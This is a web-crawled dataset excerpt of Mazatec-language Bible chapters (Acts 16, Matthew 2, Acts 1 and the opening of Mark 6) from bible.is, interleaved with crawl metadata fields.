ra̱kiòo̱. 13Jngo ni̱chjin níkjáya tsangì‑ji̱n jngo i̱'nde ya̱ a̱ndi na̱xi̱ndá ñánda̱ tí'fa jngo xa̱ngá nandá, nga̱ 'koa̱á 'sín iníkítsjen‑ji̱n nga tjín jngo i̱'nde ñánda̱ chja̱'ta‑la̱ Nainá jñà xi̱ta̱ judío. Tsikitsa̱jna‑náji̱n nga kinakjoáko̱‑ji̱n a̱'ta 'tse̱ 'én nda‑la̱ Cristo jñà íchjín ra maxkóya ya̱ i̱'nde ra̱kiòo̱. 14Ya̱á tíjnajin jngo chjo̱ón ra 'mì Lidia ra batína nikje chjí ra chji̱'ndi̱ nájtsé kjòn i̱sén‑la̱; ya̱á i̱'nde‑la̱ ñánda̱ 'mì Tiatira; jè chjo̱ón ra̱kìi̱ ndaá bexkón Nainá; ko̱ jè Nainá isìchi̱ya‑la̱ nga nda kií'nchré koni 'sín tíchja̱ Pablo. 15Jè Lidia isatíndá‑ní; ko̱ nga'tsì xi̱ta̱ ra títsa̱jna ya̱ ni'ya‑la̱. Ra kjomà a̱skan‑ni tsikítsa'ba‑naji̱n nga kitsò‑naji̱n: ―Tsa kixi̱ kjoa̱ nga makjiín‑no nga 'a̱n, ndaá makjiín‑na a̱'ta 'tse̱ Nainá, tjiaán ya̱ ni'ya‑na̱, ya̱ si̱kjáya‑no. Kjo̱'ñó ki'sìn‑naji̱n nga tsikìtsa̱hijyo‑ji̱n. 16Jngo ni̱chjin 'kia̱ nga i̱nchimangí‑ji̱n ya̱ i̱'nde ñánda̱ nakjoá'ta‑la̱ji̱n Nainá, kiskàjiín jngo‑ji̱n tsati ra inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑la̱; maá‑la̱ bínda nga kjó'tasòn jñà xi̱ta̱. Jñà ni‑la̱ tsati chi̱'nda ra̱kìi̱ 'ñó nda síkijne to̱n 'kia̱ nga ko̱tjín xá ra 'sín. 17Tsati ra̱kìi̱, tje̱n‑ngi‑la̱ Pablo ko̱ nga'tsì‑naji̱n; 'ñó chja̱ nga tsò: ―Jñà xi̱ta̱ kìi̱, jñà chi̱'nda‑la̱ Nainá ra 'ñó 'nga tíjna; ko̱ jè 'béna̱jmí‑najiòn ndi̱yá ra ma kítjo̱kajin‑no kjo̱hi'in 'tse̱ jé‑no. 18Kjín ni̱chjin ko̱'sín kitsò‑naji̱n jè tsati ra̱kìi̱. Jè Pablo, ta̱ chaán kjojti‑la̱; isíkáfa'tá‑la̱; kitsò‑la̱ jè inìma̱ 'cho‑la̱ ni̱í ra tjíjin ya̱ inìma̱‑la̱ tsati: ―'Koa̱á 'sín xin‑la ra a̱'ta 'tse̱ Jesucristo, nga títjo̱jin ya̱ inìma̱‑la̱ jè tsati ra̱kìi̱. Ti̱'kia̱á‑ni, jè inìma̱ 'cho‑la̱ ni̱í, ndi̱to̱ón itjo. 19Jñà ni‑la̱ tsati, 'kia̱ nga kijtse nga itjahíxìn‑la̱ jè kjoa̱ ra ma‑la̱, nga mì ti̱ kì kisikijne‑ni to̱n, itsabá'ñó jè Pablo ko̱ Silas, nga kiìko̱ ya̱ ngixko̱n xi̱ta̱xá. 20Tsinchá masen ñánda̱ nga títsa̱jna jñà xi̱ta̱xá, kitsò: ―Jñà xi̱ta̱ kìi̱ ra xi̱ta̱ judío, kjo̱sií i̱nchibátsji i̱ na̱xi̱ndá‑ná. 21Kií bakón‑ya kjo̱téxoma ra mì kì tjí'nde‑ná nga si̱hitjasén ko̱ nga ko̱'sín 'sie̱én, ta nga̱tjì‑la̱ nga xi̱ta̱ romano‑ná ra jién. 22Nga'tsì xi̱ta̱ na̱xi̱ndá saba kondra̱á kijì‑la̱ jè Pablo ko̱ Silas; jñà xi̱ta̱xá, 'koa̱á 'sín kitsjà kjo̱hixi̱ nga katachrjayájno nikje‑la̱, a̱kjòn kata'se‑la̱ yá. 23'Kia̱ nga ijye 'ñó tsajá‑la̱, nda̱yá isìkjaha'sen; a̱kjòn kitsjá‑la̱ kjo̱hixi̱ jè ra síkinda̱ nda̱yá nga nda katasíkinda̱ jñà xi̱ta̱ kìi̱. 24Jè xi̱ta̱ ra síkinda̱ nda̱yá 'kia̱ nga ki'tsì‑la̱ kjo̱hixi̱, ya̱á isíkítsa̱jna ñánda̱ isa̱ 'ñó na̱nga̱. Tsakánè'ñó ndsa̱ko̱ yá ra 'ñó iyí ra xá isinda‑ni nga ko̱'sín machjeén. 25'Kia̱ nga ijye ijchò masen ni̱tje̱n, jè Pablo ko̱ Silas, i̱nchichja̱'ta‑la̱ Nainá, ti̱'koa̱á i̱nchise‑la̱ Nainá, so ra jè Nainá jeya síkíjna; ko̱ jñà xi̱ta̱ ra i'ka ra ti̱'koa̱ kjo̱hi'in títsa̱jna, i̱nchi'nchré‑la̱. 26Ta ndi̱to̱ón 'ji jngo chón ra 'ñó jchán 'tsa; jñà chrjó tjà'tsin nda̱yá, ngi kjojtiyaá‑la̱. Jñà xo̱tjo̱ba̱‑la̱ nda̱yá ngi itjá'xa̱‑ní, ti̱'koa̱á jñà na'ñó ki̱cha̱ kadena̱ ra tjí'tá'ñó‑ni xi̱ta̱ ra ya̱ títsa̱jna nda̱yá, ngi jngo kjá tsájnda̱kjo. 27Jè xi̱ta̱ ra síkinda̱ nda̱yá, 'kia̱ nga itja'fá‑la̱, kijtse‑ní nga ti̱'xá ijye jñà xo̱tjo̱ba̱‑la̱ nda̱yá. 'Koa̱á 'sín isíkítsjen tsa ijyeé tsanga ijye xi̱ta̱ ra títsa̱'ya nda̱yá. Iskábé jngo ki̱cha̱ ndajò nga mejèn‑la̱ si̱ì'ken ijo‑la̱. 28Jè Pablo, 'kia̱ nga kijtse, 'ñó kiìchja̱ nga kitsò‑la̱: ―Kì tà chjàn ko̱'sín nìki̱ì ijo‑li; titsa̱jna ijyeé‑náji̱n i̱jndíi̱. 29Jè xi̱ta̱ ra síkinda̱ nda̱yá, 'kia̱á isíjé jngo ni'í; ndi̱to̱ón 'jaha'sen, ngi tífatsé‑ní nga itsakjòn, isìkàtje̱n ijo‑la̱ ya̱ a̱ngi ndsa̱ko̱ Pablo ko̱ Silas. 30A̱kjòn tsachrje‑ni nda̱yá Pablo ko̱ Silas; iskonangi‑la̱ nga kitsò‑la̱: ―Jiòn nàmi̱, ¿mé ra 'siaa̱n nga ma kítjo̱kàjiaa̱n kjo̱hi'in? 31Pablo ko̱ Silas kitsó‑la̱: ―Katakjiín‑li a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná mé‑ni nga ma kítjo̱kajin‑ni kjo̱hi'in ngaji̱ ko̱ nga'tsì xi̱ta̱ ra títsa̱jna ya̱ ni'ya‑li. 32Tsi'kéna̱jmí‑la̱ 'én‑la̱ Na̱'ín‑ná ko̱ nga'tsì xi̱ta̱ ra títsa̱jna ya̱ ni'ya‑la̱. 33Ti̱jé‑ni ni̱tje̱n, jè xi̱ta̱ ra síkinda̱ nda̱yá, tsiníjno ñánda̱ nga kiti‑la̱ Pablo ko̱ Silas; ra ijye kjomà isatíndá‑ní ko̱ nga'tsì xi̱ta̱ ra títsa̱jna ya̱ ni'ya‑la̱. 34'Kia̱á kiìko̱ ya̱ ni'ya‑la̱ nga ta̱ña tsakjèn‑kjo; ko̱ kóhotjín xi̱ta̱ ni'ya‑la̱, 'ñó tsja ki'se‑la̱ nga ijye kjokjiín‑la̱ a̱'ta 'tse̱ Nainá. 35'Kia̱ nga ijye ki'se i̱sén, jñà xi̱ta̱xá isìkasén polsìya̱‑la̱ nga kitsjà kjo̱hixi̱ nga katitjo‑ni nda̱yá Pablo ko̱ Silas. 36Jè xi̱ta̱ ra síkinda̱ nda̱yá isíkjí'nchré Pablo kitsò‑la̱: ―Ijyeé kàsíkasén‑na kjo̱hixi̱ jè xi̱ta̱xá nga ijyeé ma ki̱tsa̱hijyondi̱í‑no. Tangí‑la nda‑no. 37Tanga jè Pablo kitsó‑ní: ―Ngaji̱n, xi̱ta̱ Roma‑náji̱n. [Mì kì tjí'nde nga taxki̱ si̱ìko̱‑naji̱n.] Ki'seé‑naji̱n yá ya̱ ngixko̱n na̱xi̱ndá, 'kia̱ nga nda kjeé 'ya‑la̱ tsa mé jé ra tjín‑naji̱n, ko̱ ra kjomà, tsangì‑ji̱n nda̱yá; ko̱ 'ndi̱ 'ndi̱ mején‑la̱ nga tà kjo̱'ma si̱ìkítsa̱jnandi̱í‑naji̱n; isa̱á nda‑ni nga jñà kjòn katanchrabá kachrje‑naji̱n. 38Jñà polsìya̱, 'koa̱á 'sín tsi'kéna̱jmí‑la̱ jñà xi̱ta̱xá. Ko̱ 'kia̱ nga kií'nchré jñà xi̱ta̱xá nga jè Pablo ko̱ Silas nga xi̱ta̱ Roma‑ní, 'ñó itsakjòn. 39Ndi̱to̱ón kijì nga tsachrje‑ni nda̱yá Pablo ko̱ Silas; a̱kjòn isíjé‑la̱ kjoa̱nìhijcha'ta jè kjoa̱ ra isìko̱, ko̱ tsikítsa'ba‑la̱ nga katabitjojin ya̱ na̱xi̱ndá. 40Pablo ko̱ Silas, 'kia̱ nga ijye itjo‑ni nda̱yá, ya̱á kijì ya̱ ni'ya‑la̱ chjo̱ón ra 'mì Lidia. Ko̱ 'kia̱ nga kijtse india‑ni xákjién, tsakáko̱na̱jmí‑ní nga 'ñó kata'bé‑la̱ ikon jñà xi̱ta̱ kìi̱, a̱kjòn kijì.\nHechos 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/16","date":"2013-12-11T02:09:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164029048\/warc\/CC-MAIN-20131204133349-00022-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.000005841255188}","num_words":1094,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús, ya̱á kitsin na̱xi̱ndá ra 'mì Belén, nangi ra chja̱‑ni Judea. Jè Herodes xi̱ta̱xá ítjòn tíjna jè ni̱chjin 'kia̱. Ijchó ya̱ Jerusalén ra na̱xi̱ndá sko̱‑la̱ Judea, xi̱ta̱ ra 'ñó tjín‑la̱ kjoa̱chji̱ne̱, ra ya̱ inchrabà‑ni ñánda̱ bitjokátji‑ni tsá'bí, 2nga kjonangi, kitsò: ―¿Ñánda̱ tíjna jè xi̱ta̱xá ítjòn‑la̱ 'tse̱ xi̱ta̱ Judío ra ijye kitsin? Kijchaá jngo‑ji̱n nitse ya̱ ñánda̱ bitjokátji‑ni tsá'bí ra tsakón nga ijyeé kitsin. Ngaji̱n, kií xá kà'fìi̱‑naji̱n nga jcha̱xkón‑ji̱n. 3'Kia̱ nga kií'nchré Herodes ra xi̱ta̱xá ítjòn tíjna, ko̱ nga'tsì xi̱ta̱ na̱xi̱ndá Jerusalén, ta itsakjón‑ní. 4Jè Herodes kiìchja̱‑la̱ nga'tsì xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma ra tsikínda Moisés. Iskonangi‑la̱, ñánda̱‑ni nga jtsín ra Cristo [xi̱ta̱ ra xá si̱ìkasén‑ni Nainá]. 5Jñà xi̱ta̱ kìi̱ kitsó‑la̱: ―Ya̱á na̱xi̱ndá ra 'mì Belén nangi ra chja̱‑ni Judea. 'Koa̱á 'sín tíchja̱ xa̱jo̱n ra tsikínda xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé nga kitsò: 6Jiòn ra xi̱ta̱ na̱xi̱ndá Belén tsa̱jiòn, nangi ra chja̱‑ni Judá, mì tsa 'ñó nangi titsa̱hijyo ya̱ a̱jin‑la̱ na̱xi̱ndá ra tjíhijyo ítjòn ya̱ nangi Judá; ti̱'koa̱á 'ñó chjí‑no ra jiòn. Nga̱ ya̱á ki̱tjojin jngo‑ni xi̱ta̱xá ítjòn ra si̱ìkinda̱ na̱xi̱ndá‑na̱ Israel. 7Jè Herodes, kiìchja̱'ma‑la̱ jñà xi̱ta̱ ra 'ñó tjín‑la̱ kjoa̱chji̱ne̱ nga iskonangi‑la̱ mé ni̱chjin‑ni nga kijtse jè nitse. 8'Kia̱á isìkasén ján Belén, kitsò‑la̱: ―Tangió, nda chji̱nangio a̱'ta 'tse̱ i'ndí ra̱kìi̱. 'Kia̱ nga sa̱kò‑no ti̱kjí'nchré‑ná, mé‑ni nga ti̱'koa̱ íkatsíjen‑la̱ nga skexkón, ko̱ nga ti̱'koa̱á jeya sìkíjnaa̱. 9'Kia̱ nga ijye kií'nchré jñà xi̱ta̱ chji̱ne̱ kìi̱ koni 'sín kitsò jè Herodes, kijì‑ní; ko̱ jè nitse ra kijtse ñánda̱ bitjokátji‑ni tsá'bí, 'koa̱á 'sín kijì ítjòn‑la̱ skanda ijchò ñánda̱ tíjna i'ndí ra̱kìi̱, ko̱ ya̱á tsasijna jè nitse. 10Jñà xi̱ta̱ chji̱ne̱ kìi̱, 'kia̱ nga kijtse nitse ra̱kìi̱, tsja jchán ki'se‑la̱. 11'Kia̱ nga 'jaha'sen ni'ya jñà xi̱ta̱ kìi̱, kijtseé jè i'ndí ra̱kìi̱ ko̱ María jè ra na̱‑la̱. 'Kia̱á tsinchaxkó'nchi'ta‑la̱ jè i'ndí ra̱kìi̱ nga kijtsexkón. Ko̱ a̱kjòn iskí'xa̱ jñà kàxa̱‑la̱, kitsjá‑la̱ jñà to̱n sinè, ko̱ chrjongó Nainá ko̱ nandá jta̱ ixi ra 'ñó nda jne̱ ra 'mì mirra. 12Ra kjomà a̱skan ki'tsí‑la̱ nijñá jñà xi̱ta̱ kìi̱ nga mì ti̱ ko̱'sín kji̱nchrabà‑ni jè ndi̱yá ñánda̱ tíjna Herodes. Xìn ndi̱yá kijì‑ni nga kijì‑ni nangi‑la̱. 13'Kia̱ nga ijye kijì‑ni jñà xi̱ta̱ ra tjín‑la̱ kjoa̱chji̱ne̱, jngo ìkja̱li̱‑la̱ Nainá isinijñá‑la̱ José, kitsò‑la̱: ―Ti̱sítji̱in, chjíbí jè i'ndí ko̱ na̱‑la̱; 'tin ján nangi Egipto; ya̱á ti̱jni skanda 'kia̱ nga ko̱xín‑la. Nga̱ jè Herodes koa̱àtsjií jè i'ndí ra̱kìi̱ nga mejèn‑la̱ si̱ì'ken. 14'Kia̱ nga ijye itja'fá‑la̱ José, iskábé i'ndí ko̱ na̱‑la̱, kijì ni̱tje̱n ján nangi Egipto. 15Ya̱á tsikitsa̱jna skanda 'kia̱ nga 'ken Herodes. 'Koa̱á 'sín itjasòn koni 'sín kitsò Nainá a̱'ta 'tse̱ xi̱ta̱ ra isìchjeén nga kiìchja̱ ngajo‑la̱ kjotseé nga kitsò: \"Ya̱á kíchjà‑la̱ i'ndí‑na̱ nangi Egipto.\" 16'Kia̱ nga kijtse jè Herodes nga jñà xi̱ta̱ ra 'ñó tjín‑la̱ kjoa̱chji̱ne̱ iskonda̱cha̱á‑la̱, jti jchán kjomà‑la̱. A̱kjòn 'ñó kitsjá kjo̱hixi̱ nga ki̱yá ijye ndí i̱xti 'xi̱n ra jò nó tjín‑la̱ ko̱ nga'tsì ra isa̱ i'ndí‑isa kóho'ki ya̱ na̱xi̱ndá Belén, ko̱ jñà na̱xi̱ndá ra tjíhijyo ya̱ a̱ndi‑la̱ koni 'sín tsi'kéna̱jmí‑la̱ jñà xi̱ta̱ chji̱ne̱, nga mé ni̱chjin‑ni nga kijtse jè nitse. 17'Koa̱á 'sín itjasòn 'én ra kiìchja̱ Jeremías xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé, nga kitsò: 18Ya̱ i̱'nde ra 'mì Ramá kina'yá‑la̱ nga 'ñó tíkjindáya ko̱ tífahátse‑la̱ jè chjo̱ón Raquel nga tíkjindáyake ndí i̱xti‑la̱, ko̱ mì kì ti̱ 'nchré‑la̱ yá ra síje ikon nga̱ ijyeé 'ken ndí i̱xti‑la̱. 19'Kia̱ nga ijye 'ken Herodes, jngo ìkja̱li̱‑la̱ Nainá isinijñá‑la̱ José ján Egipto. Kitsò‑la̱: 20―Ti̱sítji̱in, chjíbí jè i'ndí ko̱ na̱‑la̱. 'Tin india‑ni ya̱ nangi Israel. Ijyeé 'ken jñà xi̱ta̱ ra mejèn‑la̱ si̱ì'ken i'ndí ra̱kìi̱. 21'Kia̱á tsasítje̱n José, kijì ko̱ jè i'ndí ko̱ na̱‑la̱ ya̱ nangi Israel. 22Tanga 'kia̱ nga kií'nchré José nga jè tíbatéxoma Arquelao ya̱ nangi Judea, nga jè tíjna ngajo‑ila̱ na̱'ìn‑la̱ Herodes, José itsakjón‑ní; mì kì ya̱ ko̱'sín kijì. Ya̱á kijì ya̱ nangi Galilea. Nainá, 'koa̱á 'sín tsi'kéna̱jmíya‑la̱ a̱ngi nijñá. 23'Kia̱ nga ijchò ya̱ i̱'nde ra̱kìi̱, ya̱á tsikitsa̱jna ya̱ na̱xi̱ndá Nazaret. 'Koa̱á 'sín kjomà mé‑ni nga itjasòn‑ni koni 'sín kitsò xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé, nga jè Jesús, xi̱ta̱ nazareno 'kín.\nSan Mateo 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/2","date":"2013-12-11T02:08:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164029048\/warc\/CC-MAIN-20131204133349-00024-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000006914138794}","num_words":649,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngaji̱ Na̱'èn Teófilo, jè xo̱jo̱n xi 'a̱n kiskiì ítjòn‑lè, k'oa̱á kixan‑lè ngats'iì kjoa̱ xi kis'iìn ko̱ xi tsakóya Jesús kóni nga tsibíts'ia̱ nga kisìxá 2skanda jè na̱chrjein k'e̱ nga Nainá kiìko̱ ìjngoò k'a‑ne ján ngajmiì. K'e̱ nga ti̱kj'eè fì‑ne ján ngajmiì, jè nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ kisìkjeén nga jaàjiìn xi̱ta̱ xi tsibíxáya‑la̱ nga kitsjaà‑la̱ kjo̱tíxoma mé xá xi s'i̱in. 3K'e̱ nga k'en ko̱ nga jaáya‑la̱ i̱t'aà ts'e̱ kjo̱biyaà nguì ichán na̱chrjein tsibìjna ìsa̱; kjìn k'a tsakó‑la̱ yijo‑la̱ jñà xi̱ta̱‑la̱ ko̱ kjìn sko̱ya kjoa̱ kis'iìn nga kixi̱ kjoa̱ nga tíjnakon. Ti̱koa̱á tsakóya‑la̱ xi̱ta̱‑la̱ kós'ín otíxoma Nainá. 4K'e̱ nga tíjnako̱ xi̱ta̱‑la̱ k'oa̱á s'ín kitsjaà‑la̱ o̱kixi̱, kitsò‑la̱: ―Kì tà chjà bitjojñoò na̱xa̱ndá Jerusalén. Chíña kjoa̱a skanda k'e̱ nga ki̱tjojen kjo̱ndaà xi tsjá Na̱'èn‑na̱ koni s'ín kitsjaà tso'ba. Jyeé k'oa̱s'ín kixan‑nò nga sa̱ ítjòn. 5Kixi̱í kjoa̱, jè Juan, nandá kis'iìn‑ne bautizar xi̱ta̱. Ta̱nga jñò, machrañà na̱chrjein nga ko̱ Ini̱ma̱ Tsjeè‑la̱ Nainá ko̱ma‑nò bautizar. 6Jñà xi̱ta̱ xi títsa̱jnako̱ Jesús, kiskònangui‑la̱, kitsò‑la̱: ―Na̱'èn, xi ji̱ otìxoma‑náje̱n, jñà na̱chrjein koi, ¿a si̱kíjnandei̱í ìjngoò k'a‑ne na̱xa̱ndá Israel nga ta jè ta̱jngoò ko̱tìxoma‑la̱ yijo‑la̱? 7Jesús kitsò: ―Mìtsà jñò oko̱‑nò nga jcha̱a na̱chrjein; ta̱ jngoò Na̱'èn‑ná beè kó s'ín kosòn‑la̱ xi kjo̱tíxoma ts'e̱. 8Ta̱nga k'e̱ nga ki̱tjojen‑nè‑nò jè Ini̱ma̱ Tsjeè‑la̱ Nainá, tjoé‑nò nga'ñó‑la̱. Jñò kéno̱jmí‑là xi̱ta̱ xi i̱t'aà ts'a̱n i̱ Jerusalén, kóho̱kji nga kijndà nangui Judea ko̱ Samaria, skanda ñánda fehet'aà‑ne i̱sò'nde. 9K'e̱ nga jye o̱kitsò Jesús, i̱kjoàn kitjámijìn i'nga nga kiìko̱ ìjngoò k'a Nainá ján ngajmiì ko̱ jñà xi̱ta̱‑la̱ nchikotsejèn‑la̱. Chaán mì ti̱ kiì kijtseè‑ne nga jè ifi tsibíjtsa'ma. 10Jñà xi̱ta̱‑la̱, k'e̱ nga nchikotsejèn‑la̱ nga tífì‑mijìn ngajmiì Jesús, tà ni̱to̱ón j'iì kinchat'aà jò‑la̱ xi̱ta̱ xi íkjá nikje chroba. 11Kitsò jñà xi̱ta̱ koi: ―Jñò xi xi̱ta̱ Galilea tsa̱jòn, ¿mé‑ne ko̱s'ín chìtsejèn‑nò ngajmiì? Jè Jesús, koni s'ín kà'yaà nga kòfìmijìn ìjngoò k'a‑ne ngajmiì, ki̱jchò na̱chrjein nga k'oa̱ ti̱s'ín kjoi̱í ìjngoò k'a‑ne. 12Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús inchrobà‑ne nindoò Yá Olivo nga kiì ìjngoò k'a‑ne Jerusalén. K'oa̱á kji chrañàt'aà fì ndi̱yá Jerusalén koni kji tsjá'nde kjo̱tíxoma nga ma fì xi̱ta̱ k'e̱ nga na̱chrjein nìkjáya. 13K'e̱ nga ijchò‑ne na̱xa̱ndá Jerusalén, kiìmijìn i̱sò'nga ni'ya, jahas'en cuarto ñánda síkjáya. Jñà xi̱ta̱ xi ijchò, jè Pedro, Jacobo, Juan, Andrés, Felipe, Tomás, Bartolomé, Mateo, Jacobo ki'ndí‑la̱ Alfeo, Simón Celote, Judas, ti‑la̱ Jacobo. 14Ngats'iì xi̱ta̱ koi ya̱á bixoña nga kjit'aà na̱chrjein nga jngoò tjín kjo̱hítsjeèn‑la̱ nga chja̱t'aà‑la̱ ti̱koa̱ bítsi'ba‑la̱ Nainá; ti̱koa̱á títsa̱jna i'nga íchjín ko̱ María xi nea̱‑la̱ Jesús ko̱ jñà 'ndse̱ Jesús. 15Jñà na̱chrjein koi, Pedro, kiìchja̱jiìn‑la̱ xi̱ta̱ xíkjín xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Maá‑là tsà jngoò sìndo̱ ko̱ kaàn jñà xi̱ta̱. Pedro kitsò: 16―'Ndsè, tjín‑ne nga ki̱tasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá jñà 'én xi kjòtseé kiìchja̱ Ini̱ma̱ Tsjeè‑la̱ Nainá nga jè xi̱ta̱xá ítjòn David kisìkjeén nga kiìchja̱ mé xi ko̱mat'in Judas, jè xi kiìkakó‑la̱ xi̱ta̱ xi kitsobà'ñó Jesús. 17Judas, nga xi̱ta̱ xingui̱‑náje̱n. Ti̱koa̱á kitjoé‑la̱ xá nga ngaje̱n kisìxáko̱‑naje̱n. 18Jè to̱n xi kisìkijne Judas i̱t'aà ts'e̱ jé xi tsohótsji, nanguií tsatse jngoò 'nde‑ne; i̱kjoàn sko̱ kiskaànguit'aà‑ne nangui, jngoò k'a kixojndà i̱ndso̱'ba̱, itjo ndó'ye‑la̱. 19K'e̱ nga jye kiì'nchré yije xi̱ta̱ na̱xa̱ndá Jerusalén nga jye k'en Judas, i̱'nde jè, k'oa̱á s'ín tsibít'aà 'ín nga Acéldama kitsò‑la̱. 'Én ts'e̱ xi chja̱, tsòyaá‑ne: \"I̱'nde ts'e̱ Jní‑né.\" 20Jè xo̱jo̱n ts'e̱ Salmo, k'oa̱á s'ín tíchja̱ nga tsò: Ni'ya‑la̱ kàtasijna tiya‑né, ni̱jngoò xi̱ta̱ kítsa̱jnaya. Ti̱koa̱á tíchja̱ Salmo ñánda tsò: Kj'ei̱í xi̱ta̱ kàt'iì‑la̱ xá‑la̱. 21'Mochjeén‑né nga kj'ei̱í xi̱ta̱ sakó ìjngoò‑ìsa xi jè ngajo‑la̱ Judas; jñà chjaàjiìn‑jngoaá xi̱ta̱ xi kjòtseé tjímako̱‑ná skanda k'e̱ nga ti̱sa̱ tsajmeiìko̱‑ná Jesús, 22mats'ia̱ko̱‑ne nga kis'iìn bautizar Juan skanda k'e̱ nga tsijin ìjngoò k'a‑ne Jesús ján ngajmiì, mé‑ne nga kíjnako̱‑ná ti̱koa̱ tsjá 'én nga Jesús jyeé jaáya‑la̱. 23K'e̱é tsafaájiìn jò xi̱ta̱: jngoò xi 'mì José, ti̱koa̱ tjít'aàsòn 'ín‑la̱ nga Barsabás 'mì. Barsabás, ko̱ ti̱jè‑ne xi 'mì Justo. Xi ìjngoò, Matías 'mì. 24I̱kjoàn kiìchja̱t'aà‑la̱ Nainá kitsò: ―Ngaji̱ Na̱'èn, xi yaxkoin ini̱ma̱‑la̱ ngats'iì xi̱ta̱, ko̱t'ìn‑náje̱n ñá‑la̱á ingajò xi̱ta̱ koi jye kàchjaàjiìn, 25mé‑ne nga skoé xá‑lè xi ji̱ bíxáya‑la̱, jè xá xi kisìkíjna Judas k'e̱ nga tsohótsji jé, nga jye tíjna i̱'nde ñánda oko̱‑la̱. 26Kisìskákjoò suerte‑la̱. Jè Matías kisìkijne. Jè komà‑ne tejò xi̱ta̱ xi tsibíxáya‑la̱ Jesús xi tejngoò ma nga sa̱ ítjòn.\nHechos 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/1","date":"2013-12-09T05:23:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163901500\/warc\/CC-MAIN-20131204133141-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000051259994507}","num_words":668,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús itjojiín ya̱ i̱'nde ra̱kìi̱, nga kijì‑ni ya̱ nangi‑la̱ ñánda̱ 'mì Nazaret; kjihijtako̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱. 2'Kia̱ nga ijye ijchò jè ni̱chjin níkjáya, Jesús tsikí'tsia̱‑ní nga tsakón‑ya‑la̱ xi̱ta̱ jè 'én nda‑la̱ Nainá ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. Kjín jchán ma‑ni xi̱ta̱ ra kií'nchré‑la̱ koni 'sín nga tsakón‑ya. Jñà xi̱ta̱ kìi̱, tà 'koa̱á kjomà‑la̱; iskonangií‑la̱ xákjién, kitsò: ―Jè xi̱ta̱ ra̱kìi̱, ¿ñánda̱ í'ká‑ni nga'tsì 'én ra bakón‑ya? ¿Ko̱ yá ra kitsjà‑la̱ kjo̱chji̱ne̱ kìi̱ ko̱ jñà kjo̱xkón ra 'sín? 3¿A mí tsa jè xi̱ta̱ ra̱kìi̱ ra chji̱ne̱yá, ra ti‑la̱ María ma, ra 'ndse̱ ma Jacobo, José, Judas ko̱ Simón? ¿A mí tsa ti̱'koa̱ i̱ tjítsa̱jnajin‑ná jñà íchjín ndichja? Ko̱ jñà xi̱ta̱ kìi̱, mì kì kjokjiín‑la̱ ra a̱'ta 'tse̱ Jesús. 4Tanga jè Jesús kitsó‑la̱: ―Nga'tsì xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱, 'yaxkón‑ní ya̱ ñánda̱ nga xìn nangi, tanga mì kì 'yaxkón ya̱ nangi‑la̱ ko̱ ya̱ ni'ya‑la̱ ko̱ ya̱ a̱jin‑la̱ xi̱ta̱ xákjién. 5Ni̱jngo kjo̱xkón ki'sìn Jesús ya̱ nangi‑la̱; tà chibaá tjín‑ni xi̱ta̱ ra kiya tsakásòn‑la̱ tsja nga isinda‑ni. 6Tà kjóxkón‑la̱ Jesús nga jñà xi̱ta̱ kìi̱ mì kì makjiín‑la̱ ra a̱'ta 'tse̱. Jesús ya̱á tsajme jngo tjandi ya̱ na̱xi̱ndá jtobá ra ya̱ kjihijyo chraña nga tsakón‑ya. 7Ra kjomà a̱skan, Jesús kiìchja̱á‑la̱ xi̱ta̱‑la̱ ra tejò ma‑ni, nga jò jò isìkasén, kitsjá‑la̱ kjo̱hixi̱ nga ma‑la̱ ko̱chrjekàjin inìma̱ 'cho‑la̱ ni̱í ra tjíjin inìma̱‑la̱ xi̱ta̱. 8'Koa̱á 'sín kitsjà‑te‑la̱ kjo̱hixi̱ nga ni̱mé tsajmì 'koa̱ ra ko̱chjeén‑la̱ ya̱ a̱ya ndi̱yáa̱. Kitsò‑la̱: ―Tà 'koa̱á 'sín tangió. Tà jngoó yá koròti̱ jcha̱a. Kì na̱'ya jcha̱a, kì ni̱ño̱ jcha̱a, ti̱'koa̱ kì to̱n jcha̱a. 9Ko̱maá 